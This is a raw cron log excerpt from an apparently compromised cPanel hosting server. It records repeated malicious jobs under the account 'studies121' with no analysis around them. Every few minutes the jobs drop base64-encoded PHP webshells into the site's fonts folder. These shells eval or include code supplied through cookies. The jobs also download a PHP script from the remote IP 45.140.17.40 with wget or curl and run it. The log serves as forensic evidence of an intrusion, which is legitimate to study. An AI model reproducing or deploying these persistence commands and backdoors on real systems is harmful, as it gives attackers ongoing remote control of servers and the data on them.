Sep  8 00:22:01 ip-184-168-122-23 CROND[10578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:22:01 ip-184-168-122-23 CROND[10579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:22:01 ip-184-168-122-23 CROND[10577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:22:01 ip-184-168-122-23 CROND[10581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:23:01 ip-184-168-122-23 CROND[10659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:23:01 ip-184-168-122-23 CROND[10661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:23:01 ip-184-168-122-23 CROND[10663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:23:01 ip-184-168-122-23 CROND[10662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:24:01 ip-184-168-122-23 CROND[10747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:24:01 ip-184-168-122-23 CROND[10748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:24:01 ip-184-168-122-23 CROND[10750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:24:01 ip-184-168-122-23 CROND[10749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:24:01 ip-184-168-122-23 CROND[10751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:25:01 ip-184-168-122-23 CROND[10842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:25:01 ip-184-168-122-23 CROND[10846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:25:01 ip-184-168-122-23 CROND[10841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:25:01 ip-184-168-122-23 CROND[10844]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 00:25:01 ip-184-168-122-23 CROND[10848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:25:01 ip-184-168-122-23 CROND[10845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:25:01 ip-184-168-122-23 CROND[10847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:26:02 ip-184-168-122-23 CROND[11017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:26:02 ip-184-168-122-23 CROND[11019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:26:02 ip-184-168-122-23 CROND[11018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:26:02 ip-184-168-122-23 CROND[11020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:26:02 ip-184-168-122-23 CROND[11021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:27:01 ip-184-168-122-23 CROND[11103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:27:01 ip-184-168-122-23 CROND[11105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:27:01 ip-184-168-122-23 CROND[11106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:27:01 ip-184-168-122-23 CROND[11107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:28:01 ip-184-168-122-23 CROND[11189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:28:01 ip-184-168-122-23 CROND[11191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:28:01 ip-184-168-122-23 CROND[11192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:28:01 ip-184-168-122-23 CROND[11193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:28:01 ip-184-168-122-23 CROND[11194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:29:01 ip-184-168-122-23 CROND[11277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:29:01 ip-184-168-122-23 CROND[11276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:29:01 ip-184-168-122-23 CROND[11279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:29:01 ip-184-168-122-23 CROND[11278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:30:01 ip-184-168-122-23 CROND[11364]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:30:01 ip-184-168-122-23 CROND[11365]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 00:30:01 ip-184-168-122-23 CROND[11370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:30:01 ip-184-168-122-23 CROND[11376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:30:01 ip-184-168-122-23 CROND[11373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:30:01 ip-184-168-122-23 CROND[11378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:30:01 ip-184-168-122-23 CROND[11377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:30:01 ip-184-168-122-23 CROND[11379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:30:01 ip-184-168-122-23 CROND[11374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:31:01 ip-184-168-122-23 CROND[11557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:31:01 ip-184-168-122-23 CROND[11560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:31:01 ip-184-168-122-23 CROND[11558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:31:01 ip-184-168-122-23 CROND[11559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:31:01 ip-184-168-122-23 CROND[11561]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 00:32:01 ip-184-168-122-23 CROND[11651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:32:01 ip-184-168-122-23 CROND[11655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:32:01 ip-184-168-122-23 CROND[11652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:32:01 ip-184-168-122-23 CROND[11653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:32:01 ip-184-168-122-23 CROND[11654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:33:01 ip-184-168-122-23 CROND[11748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:33:01 ip-184-168-122-23 CROND[11750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:33:01 ip-184-168-122-23 CROND[11753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:33:01 ip-184-168-122-23 CROND[11752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:34:01 ip-184-168-122-23 CROND[11832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:34:01 ip-184-168-122-23 CROND[11834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
